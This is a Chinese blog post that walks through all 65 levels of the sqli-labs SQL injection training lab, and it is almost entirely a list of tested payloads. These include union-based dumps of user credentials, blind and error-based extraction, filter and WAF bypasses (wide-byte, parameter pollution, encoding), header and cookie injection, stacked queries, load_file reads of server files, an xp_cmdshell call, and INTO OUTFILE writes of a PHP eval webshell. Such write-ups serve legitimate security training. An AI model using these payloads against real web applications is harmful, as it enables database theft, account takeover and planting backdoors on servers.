学了一年多Web竟然还没有通关sqli-labs,真是杂鱼呢,今天来把这个坑填了。网上通关教程很多,为了方便本人后续使用,这篇博客的主要作用就是记录一些经过测试好使的payload。

Basic challenges

Less-1

基本注入语句

1
2
3
4
5
6
7
8
9
正常 ?id=1
报错 ?id=1'
正常 ?id=1'or 1=1--+
正常 ?id=1'order by 3--+
报错 ?id=1'order by 4--+
数据库 ?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
表名 ?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
列名 ?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
数据 ?id=-1'union select 1,username,password from users where id=2--+

Less-2

1
2
?id=1 or 1=1--+
后续Payload参考Less-1

Less-3

1
2
3
?id=1') or '1'=('1
?id=1') or 1=1--+
后续Payload参考Less-1

Less-4

1
2
3
?id=1") or "1"=("1
?id=1") or 1=1--+
后续Payload参考Less-1

Less-5

布尔盲注,报错注入,时间盲注

(1)利用 left(database(),1)进行尝试

1
2
3
?id=1'and left(version(),1)=5%23

left(a,b) 从左侧截取a的前b位

查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5

接下来看一下数据库的长度

1
?id=1'and length(database())=8%23

长度为8时,返回正确结果,说明长度为8

猜测数据库第一位

1
?id=1'and left(database(),1)>'a'--+

Database()为security,所以我们看他的第一位是否>a,很明显的是s>a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率

猜测数据库第二位
得知第一位为s,我们看前两位是否大于sa

1
?id=1'and left(database(),2)>'sa'--+

(2)利用 substr() ascii()函数进行尝试

获取security数据库的第一个表的第一个字符

1
2
3
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

此处table_schema可以写成’security’,这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是101,因为第一个表是email

获取第一个表的第二位字符

1
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80--+

那如何获取第二个表呢?
可以看到上述语句中使用的limit 0,1意思就是从第0个开始,获取第一个。那获取第二个就是 limit 1,1

1
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

(3)利用 regexp 获取users表中的列

1
?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

上述语句判断users表中是否有名为us**的列

1
?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

上述语句判断users表中是否有名为username的列

table_name 有好几个,我们只得到了一个 user,如何知道其他的?
这里可能会有人认为使用 limit 0,1 改为 limit 1,1。
但是这种做法是错误的,limit 作用在前面的 select 语句中,而不是 regexp。其实在 regexp 中我们是取匹配 table_name 中的内容,只要 table_name 中有的内容,我们用 regexp 都能够匹配到。因此上述语句不仅仅可以选择 user,还可以匹配其他项。

还可以使用like进行模糊匹配

1
select user() like 'ro%'

(4)利用 ord()和 mid()函数获取 users 表的内容

1
2
3
4
?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+

mid(a,b,c)从位置b开始,截取a字符串的c位
ord()函数同ascii(),将字符转为ascii值

获取 username 中的第一行的第一个字符的ascii,与68进行比较,即为 D

(5)报错注入

floor报错

1
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用 double 数值类型超出范围进行报错注入(未成功)

1
?id=1' union select (exp(~(select * from(select user())a))),2,3--+

利用 bigint 溢出进行报错注入(未成功)

1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

xpath 函数报错注入

1
2
3
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

利用数据的重复性

1
?id=1'union select 1,2,3 from (select name_const(version(),1), name_const(version(),1))x --+

(6)时间盲注

利用 sleep()函数进行注入

1
?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

当错误的时候会有 5 秒的时间延时。

利用 benchmark()进行延时注入

1
?id=1'union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+

当结果正确的时候,运行 ENCODE(‘MSG’,’by 5 seconds’)操作 50000000 次,会占用一段时间。

Less-6

双引号型注入,Payload参考Less-5

Less-7

先看看导入导出相关操作
(1)load_file导出文件
使用条件:必须有权限读取并且文件必须完全可读

1
and (select count(*) from mysql.user)>0

如果结果返回正常,说明具有读写权限。

示例

1
2
3
4
5
6
7
8
9
10
11
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是smb文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:"c:/boot.ini"的 16 进制是"0x633a2f626f6f742e696e69"

-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain: 路径里的/用 \\代替

(2)导入到文件

1
select ..... into outfile 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有FILE权限,才能使用此语法,且file_name不能是一个已经存在的文件。

一般有两种利用形式:

第一种直接将 select 内容导入到文件中:

1
select <?php @eval($_post["cmd"])?> into outfile "c:\\phpnow\\htdocs\\test.php" 

第二种修改文件结尾:

1
select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16

上述提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

1
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'

可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。

下面来看Less-7

1
2
3
?id=1')) or 1=1--+
?id=1')) into outfile "/tmp/1.php" lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e--+
?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile "/tmp/1.php"--+

Less-8

1
2
3
4
5
?id='or 1=1--+
?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

Less-9

同Less-8

Less-10

1
2
?id="or 1=1--+
Payload参考Less-8

Less-11

post注入

1
2
username: admin'or'1'='1#
password: 111

Less-12

1
2
username: admin")#
password: 111

这里注意用 admin”)or 1=1#方式登录的话,最后是以 Dumb 登录,这是因为 sql 执行的优先级的问题。

Less-13

1
uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

Less-14

1
2
uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit

Less-15

1
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

Less-16

1
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

Less-17

首先看看增删改语句

1
2
3
4
5
6
insert into users values('16','lcamry','lcamry');
delete from users where id=16;
drop database 数据库名;
drop table 表名;
alter table 表名 drop column 列名;
update users set username='tt' where id=15;

继续看Less-17

1
2
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit

Less-18

user-agent注入

1
将 user-agent 修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Less-19

referer注入

1
将 referer 修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

Less-20

cookie注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
修改 cookie 为
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

GET /Less-20/ HTTP/1.1
Host: be02b77a-c78d-42fd-94ef-a2d8bd63d8a8.node5.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://be02b77a-c78d-42fd-94ef-a2d8bd63d8a8.node5.buuoj.cn
Cookie: uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
Connection: close
Referer: http://be02b77a-c78d-42fd-94ef-a2d8bd63d8a8.node5.buuoj.cn/Less-20/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Less-21

1
2
3
4
修改 cookie 为
uname=admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
base64一下
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

Less-22

1
2
3
4
修改 cookie 为
uname=admin1"and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
base64一下
uname=YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=

Advanced injection

Less-23

1
2
过滤了#和--+
?id=-1'union select 1,@@datadir,'3

第一个’闭合-1, 第二个’闭合后面的。这样将查询内容显示在 username 处

还可以报错注入

1
?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1

Less-24

本关为二次注入的示例。二次注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。

1
2
3
此例子中我们的步骤是注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='
也就是执行了 UPDATE users SET passwd="New_Pass" WHERE username ='admin'

Less-25

or和and被过滤

常用方法

1
2
3
4
(1)大小写变形 Or,OR,oR
(2)编码: hex, urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

报错注入

1
2
?id=1&&1=1--+
?id=1'|| extractvalue(1,concat(0x7e,database()))--+

Less-25a

or和and被过滤,报错注入不能用,可以联合注入和盲注

1
2
?id=-1 union select 1,@@basedir,3#
?id=20||1=1--+

Less-26

过滤空格, or, and, /*, #, –, /等各种符号

对于注释和结尾字符的我们此处只能利用构造一个’来闭合后面的’
对于空格,有较多的方法:

1
2
3
4
5
6
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

回到本题

1
2
3
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户

没用%0a这些是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入

Less-26a

无法报错注入了,用联合注入,并且闭合方式换成了’)

1
?id=0')union(select(1),(2),(select(database())));%00

Less-27

在Less-26基础上过滤了union和select,大小写绕过即可

1
?id=0'uNion(sElect(1),(2),(sElect(database())));%00

Less-27a

换成了”闭合

1
2
?id=0"uNion(sElect(1),(2),(sElect(database())));%00
?id=100"%a0UnIon%a0SElecT%a01,user(),"3

Less-28

‘)型闭合,其余和Less-27一样

1
?id=0')uNion(sElect(1),(2),(sElect(database())));%00

Less-28a

跟Less-28一样

Less-29

首先介绍一下 29,30,31 这三关的基本情况:
alt text
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

1
2
重点:index.php?id=1&id=2,你猜猜到底是显示 id=1 的数据还是显示 id=2 的?
Explain:apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。

参数解析方式
此处我们想一个问题:index.jsp?id=1&id=2 请求,针对本题服务器配置情况,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php)服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是 id=2 的内容,应为时间上提供服务的是 apache(php)服务器,返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。

回到本题

1
2
?id=1&id=-2'union select 1,user(),3--+
?id=1&id=0'and extractvalue(1,concat(0x7e,(select database())))--+

Less-30

“型闭合,其余与Less-29一致

1
?id=1&id=-2"union select 1,user(),3--+

Less-31

“)型闭合,其余与Less-29一致

1
?id=1&id=-2")union select 1,user(),3--+

Less-32

Less-32,33,34,35,36,37 六关全部是针对’和\的过滤,所以我们放在一起来进行讨论。
在此先介绍一下宽字节注入的原理和基本用法。
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤’的时候,往往利用的思路是将’转换为\‘(转换的函数或者思路会在每一关遇到的时候介绍)。因此我们在此想办法将’前面添加的\除掉,一般有两种思路:
1、%df吃掉\具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将\‘中的\过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c会被前面的%5c给注释掉。这也是 bypass 的一种方法。

回到本题,输入?id=1’发现’被转义,用宽字节注入

1
?id=-1%df%27union select 1,user(),3--+

Less-33

payload参考Less-32
本关使用了addslashes函数来防御sql注入,但是仍然可以使用宽字节注入绕过。
我们需要将mysql_query设置为binary的方式,才能防御此漏洞。

1
2
mysql_query("SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

Less-34

在post型的注入当中,可将utf-8转换为utf-16或utf-32,例如将’转为utf-16为�’。

1
2
username: �'or 1=1#
password: 1

Less-35

1
?id=-1 union select 1,user(),3--+

Less-36

Less-36和Less-37使用了mysql_real_escape_string()函数进行转义,但是因mysql并没有设置成gbk,所以 mysql_real_escape_string()依旧能够被突破。方法和上面是一样的。

1
?id=-1%EF%BF%BD%27union select 1,user(),3--+

这里是利用’的utf-16进行突破的,也可以利用%df。

1
?id=-1%df%27union select 1,user(),3--+

在使用mysql_real_escape_string()时,为了能够安全的防护这种问题,将mysql设置为gbk即可。

1
mysql_set_charset('gbk','$conn')

Less-37

payload参考Less-34

Stacked injection

各种数据库基本语法介绍

Mysql

1
2
3
4
5
select * from users where id=1;create table test like users;
select * from users where id=1;drop table test;
select * from users where id=1;select 1,2,3;
select * from users where id=1;select load_file('c:/tmpupbbn.php');
select * from users where id=1;insert into users(id,username,password) values('100','new','new');

Mssql

1
2
3
4
5
select * from test;create table sc3(ss CHAR(8));
select * from test;drop table sc3;
select 1,2,3;select * from test;
select * from test;update test set name='test' where id=3;
select * from test where id=1;exec master..xp_cmdshell 'ipconfig' #sqlserver中最为重要的存储过程的执行

Oracle无法堆叠注入

Postgresql

1
2
3
4
select * from user_test;create table user_data(id DATE);
select * from user_test;delete from user_data;
select * from user_test;select 1,2,3;
select * from user_test;update user_test set name='modify' where name='张三';

Less-38

Less-38至Less-45是用来熟悉堆叠注入的

1
?id=1';insert into users(id,username,password) values('38','less38','hello')--+

Less-39

1
?id=1;insert into users(id,username,password) values('39','less39','hello')--+

Less-40

1
?id=1');insert into users(id,username, password) values('109','less40','hello')%23

Less-41

1
?id=1;insert into users(id,username,password) values('110','less41','hello')%23

Less-42

1
2
username: admin
password: c';create table less42 like users#

Less-43

1
2
username: admin
password: c');create table less43 like users#

Less-44

1
2
username: admin
password: a';insert into users(id,username,password) values ('144','less44','hello')#

Less-45

1
2
username: admin
password: c');create table less45 like users#

Less-46

Less46-Less53是order by相关注入
本关的sql语句为

1
$sql = "SELECT * FROM users ORDER BY $id";

尝试?sort=1 desc 或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)

(1)order by后的数字可以作为一个注入点。也就是构造order by后的一个语句,让该语句执行结果为一个数,我们尝试

1
?sort=right(version(),1)

没有报错,但是right换成left都一样,说明数字没有起作用。此时可以用报错注入和延时注入。
1.直接添加注入语句,?sort=(select ******)
2.利用一些函数。例如 rand()函数等。?sort=rand(sql语句)
3.利用 and,例如?sort=1 and (加sql语句)。?sort=rand(ture)和?sort=rand(false)的结果是不一样的
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

1
2
3
4
?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) limit 0,1)  #报错注入
?sort=rand(ascii(left(database(),1))=115) #布尔盲注
?sort=(select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1) #时间盲注
?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5)) #时间盲注

(2)procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

1
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

(3)导入导出文件 into outfile

1
?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test1.txt"  #将查询结果导入到文件当中

那这个时候我们可以考虑上传木马,利用lines terminated by。

1
?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test1.php" lines terminated by 0x(木马经过16进制转换)

Less-47

1
2
3
4
5
6
7
?sort=1'and rand(ascii(left(database(),1))=115)--+  #有点问题,对错结果都一样
?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
?sort=1'and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+
?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.txt%"--+
?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+ #此处的16进制文件为<?php phpinfo();?>

Less-48

1
2
?sort=rand(ascii(left(database(),1))=178)
?sort=1 and (if(ascii(substr(database(),1,1))=115,0,sleep(5)))

Less-49

1
2
?sort=1'and (if(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+
?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

Less-50

Less-50至Less-53是order by stacked injection
这几关使用的是mysqli_multi_query()函数,而之前使用的是mysqli _query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么此处就可以执行多个sql语句进行注入,也就是堆叠注入。

1
?sort=1;create table less50 like users

Less-51

1
?sort=1';create table less51 like users--+

Less-52

1
?sort=1;create table less52 like users

Less-53

1
?sort=1';create table less53 like users--+

Challenges

Less-54

1
2
3
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='J035VPGANL'--+
?id=-1'union select 1,2,group_concat(secret_O8GE) from challenges.J035VPGANL--+

Less-55

1
?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

Less-56

1
?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

Less-57

1
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

Less-58

1
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-59

1
?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-60

1
?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-61

1
?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-62

1
?id=1')and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

Less-63

1
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+

Less-64

1
?id=1))and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'), 1,1))=79,0,sleep(10))--+

Less-65

1
?id=1")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

完结撒花!